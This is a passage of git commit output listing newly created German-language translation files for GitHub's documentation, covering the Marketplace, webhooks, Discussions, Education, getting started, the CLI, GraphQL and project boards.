 create mode 100644 translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/about-marketplace-badges.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/index.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/index.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
 create mode 100644 translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
 create mode 100644 translations/de-DE/content/developers/index.md
 create mode 100644 translations/de-DE/content/developers/overview/about-githubs-apis.md
 create mode 100644 translations/de-DE/content/developers/overview/github-developer-program.md
 create mode 100644 translations/de-DE/content/developers/overview/index.md
 create mode 100644 translations/de-DE/content/developers/overview/managing-deploy-keys.md
 create mode 100644 translations/de-DE/content/developers/overview/replacing-github-services.md
 create mode 100644 translations/de-DE/content/developers/overview/secret-scanning-partner-program.md
 create mode 100644 translations/de-DE/content/developers/overview/using-ssh-agent-forwarding.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/events/github-event-types.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/events/index.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/events/issue-event-types.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/index.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/webhooks/about-webhooks.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/webhooks/creating-webhooks.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/webhooks/index.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/webhooks/testing-webhooks.md
 create mode 100644 translations/de-DE/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
 create mode 100644 translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
 create mode 100644 translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md
 create mode 100644 translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/index.md
 create mode 100644 translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md
 create mode 100644 translations/de-DE/content/discussions/guides/best-practices-for-community-conversations-on-github.md
 create mode 100644 translations/de-DE/content/discussions/guides/finding-your-discussions.md
 create mode 100644 translations/de-DE/content/discussions/guides/granting-higher-permissions-to-top-contributors.md
 create mode 100644 translations/de-DE/content/discussions/guides/index.md
 create mode 100644 translations/de-DE/content/discussions/index.md
 create mode 100644 translations/de-DE/content/discussions/managing-discussions-for-your-community/index.md
 create mode 100644 translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md
 create mode 100644 translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-discussions.md
 create mode 100644 translations/de-DE/content/discussions/managing-discussions-for-your-community/moderating-discussions.md
 create mode 100644 translations/de-DE/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md
 create mode 100644 translations/de-DE/content/discussions/quickstart.md
 create mode 100644 translations/de-DE/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md
 create mode 100644 translations/de-DE/content/education/contribute-with-github-community-exchange/index.md
 create mode 100644 translations/de-DE/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md
 create mode 100644 translations/de-DE/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/index.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/index.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
 create mode 100644 translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md
 create mode 100644 translations/de-DE/content/education/guides.md
 create mode 100644 translations/de-DE/content/education/index.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/index.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
 create mode 100644 translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
 create mode 100644 translations/de-DE/content/education/quickstart.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-integrations.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/about-webhooks.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/index.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/index.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/index.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization.md
 create mode 100644 translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account.md
 create mode 100644 translations/de-DE/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
 create mode 100644 translations/de-DE/content/get-started/exploring-projects-on-github/following-organizations.md
 create mode 100644 translations/de-DE/content/get-started/exploring-projects-on-github/following-people.md
 create mode 100644 translations/de-DE/content/get-started/exploring-projects-on-github/index.md
 create mode 100644 translations/de-DE/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/about-remote-repositories.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/git-workflows.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/ignoring-files.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/index.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/managing-remote-repositories.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/setting-your-username-in-git.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
 create mode 100644 translations/de-DE/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/index.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/index.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/index.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients.md
 create mode 100644 translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
 create mode 100644 translations/de-DE/content/get-started/index.md
 create mode 100644 translations/de-DE/content/get-started/learning-about-github/about-github-advanced-security.md
 create mode 100644 translations/de-DE/content/get-started/learning-about-github/about-versions-of-github-docs.md
 create mode 100644 translations/de-DE/content/get-started/learning-about-github/access-permissions-on-github.md
 create mode 100644 translations/de-DE/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md
 create mode 100644 translations/de-DE/content/get-started/learning-about-github/github-language-support.md
 create mode 100644 translations/de-DE/content/get-started/learning-about-github/githubs-products.md
 create mode 100644 translations/de-DE/content/get-started/learning-about-github/index.md
 create mode 100644 translations/de-DE/content/get-started/learning-about-github/types-of-github-accounts.md
 create mode 100644 translations/de-DE/content/get-started/onboarding/getting-started-with-github-ae.md
 create mode 100644 translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
 create mode 100644 translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
 create mode 100644 translations/de-DE/content/get-started/onboarding/getting-started-with-github-team.md
 create mode 100644 translations/de-DE/content/get-started/onboarding/getting-started-with-your-github-account.md
 create mode 100644 translations/de-DE/content/get-started/onboarding/index.md
 create mode 100644 translations/de-DE/content/get-started/privacy-on-github/about-githubs-use-of-your-data.md
 create mode 100644 translations/de-DE/content/get-started/privacy-on-github/index.md
 create mode 100644 translations/de-DE/content/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository.md
 create mode 100644 translations/de-DE/content/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md
 create mode 100644 translations/de-DE/content/get-started/privacy-on-github/requesting-an-archive-of-your-personal-accounts-data.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/be-social.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/communicating-on-github.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/contributing-to-projects.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/create-a-repo.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/fork-a-repo.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/git-and-github-learning-resources.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/git-cheatsheet.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/github-flow.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/github-glossary.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/hello-world.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/index.md
 create mode 100644 translations/de-DE/content/get-started/quickstart/set-up-git.md
 create mode 100644 translations/de-DE/content/get-started/signing-up-for-github/index.md
 create mode 100644 translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
 create mode 100644 translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
 create mode 100644 translations/de-DE/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
 create mode 100644 translations/de-DE/content/get-started/signing-up-for-github/verifying-your-email-address.md
 create mode 100644 translations/de-DE/content/get-started/using-git/about-git-rebase.md
 create mode 100644 translations/de-DE/content/get-started/using-git/about-git-subtree-merges.md
 create mode 100644 translations/de-DE/content/get-started/using-git/about-git.md
 create mode 100644 translations/de-DE/content/get-started/using-git/dealing-with-non-fast-forward-errors.md
 create mode 100644 translations/de-DE/content/get-started/using-git/dealing-with-special-characters-in-branch-and-tag-names.md
 create mode 100644 translations/de-DE/content/get-started/using-git/getting-changes-from-a-remote-repository.md
 create mode 100644 translations/de-DE/content/get-started/using-git/index.md
 create mode 100644 translations/de-DE/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
 create mode 100644 translations/de-DE/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md
 create mode 100644 translations/de-DE/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
 create mode 100644 translations/de-DE/content/get-started/using-git/using-git-rebase-on-the-command-line.md
 create mode 100644 translations/de-DE/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
 create mode 100644 translations/de-DE/content/get-started/using-github/github-cli.md
 create mode 100644 translations/de-DE/content/get-started/using-github/github-command-palette.md
 create mode 100644 translations/de-DE/content/get-started/using-github/github-desktop.md
 create mode 100644 translations/de-DE/content/get-started/using-github/github-mobile.md
 create mode 100644 translations/de-DE/content/get-started/using-github/index.md
 create mode 100644 translations/de-DE/content/get-started/using-github/keyboard-shortcuts.md
 create mode 100644 translations/de-DE/content/get-started/using-github/supported-browsers.md
 create mode 100644 translations/de-DE/content/get-started/using-github/troubleshooting-connectivity-problems.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/index.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/index.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/index.md
 create mode 100644 translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md
 create mode 100644 translations/de-DE/content/github-cli/github-cli/about-github-cli.md
 create mode 100644 translations/de-DE/content/github-cli/github-cli/creating-github-cli-extensions.md
 create mode 100644 translations/de-DE/content/github-cli/github-cli/github-cli-reference.md
 create mode 100644 translations/de-DE/content/github-cli/github-cli/index.md
 create mode 100644 translations/de-DE/content/github-cli/github-cli/quickstart.md
 create mode 100644 translations/de-DE/content/github-cli/github-cli/using-github-cli-extensions.md
 create mode 100644 translations/de-DE/content/github-cli/index.md
 create mode 100644 translations/de-DE/content/graphql/README.md
 create mode 100644 translations/de-DE/content/graphql/guides/forming-calls-with-graphql.md
 create mode 100644 translations/de-DE/content/graphql/guides/index.md
 create mode 100644 translations/de-DE/content/graphql/guides/introduction-to-graphql.md
 create mode 100644 translations/de-DE/content/graphql/guides/managing-enterprise-accounts.md
 create mode 100644 translations/de-DE/content/graphql/guides/migrating-from-rest-to-graphql.md
 create mode 100644 translations/de-DE/content/graphql/guides/migrating-graphql-global-node-ids.md
 create mode 100644 translations/de-DE/content/graphql/guides/using-global-node-ids.md
 create mode 100644 translations/de-DE/content/graphql/guides/using-the-explorer.md
 create mode 100644 translations/de-DE/content/graphql/guides/using-the-graphql-api-for-discussions.md
 create mode 100644 translations/de-DE/content/graphql/index.md
 create mode 100644 translations/de-DE/content/graphql/overview/about-the-graphql-api.md
 create mode 100644 translations/de-DE/content/graphql/overview/breaking-changes.md
 create mode 100644 translations/de-DE/content/graphql/overview/changelog.md
 create mode 100644 translations/de-DE/content/graphql/overview/explorer.md
 create mode 100644 translations/de-DE/content/graphql/overview/index.md
 create mode 100644 translations/de-DE/content/graphql/overview/public-schema.md
 create mode 100644 translations/de-DE/content/graphql/overview/resource-limitations.md
 create mode 100644 translations/de-DE/content/graphql/overview/schema-previews.md
 create mode 100644 translations/de-DE/content/graphql/reference/enums.md
 create mode 100644 translations/de-DE/content/graphql/reference/index.md
 create mode 100644 translations/de-DE/content/graphql/reference/input-objects.md
 create mode 100644 translations/de-DE/content/graphql/reference/interfaces.md
 create mode 100644 translations/de-DE/content/graphql/reference/mutations.md
 create mode 100644 translations/de-DE/content/graphql/reference/objects.md
 create mode 100644 translations/de-DE/content/graphql/reference/queries.md
 create mode 100644 translations/de-DE/content/graphql/reference/scalars.md
 create mode 100644 translations/de-DE/content/graphql/reference/unions.md
 create mode 100644 translations/de-DE/content/index.md
 create mode 100644 translations/de-DE/content/issues/guides.md
 create mode 100644 translations/de-DE/content/issues/index.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/index.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md
 create mode 100644 translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/index.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/index.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md
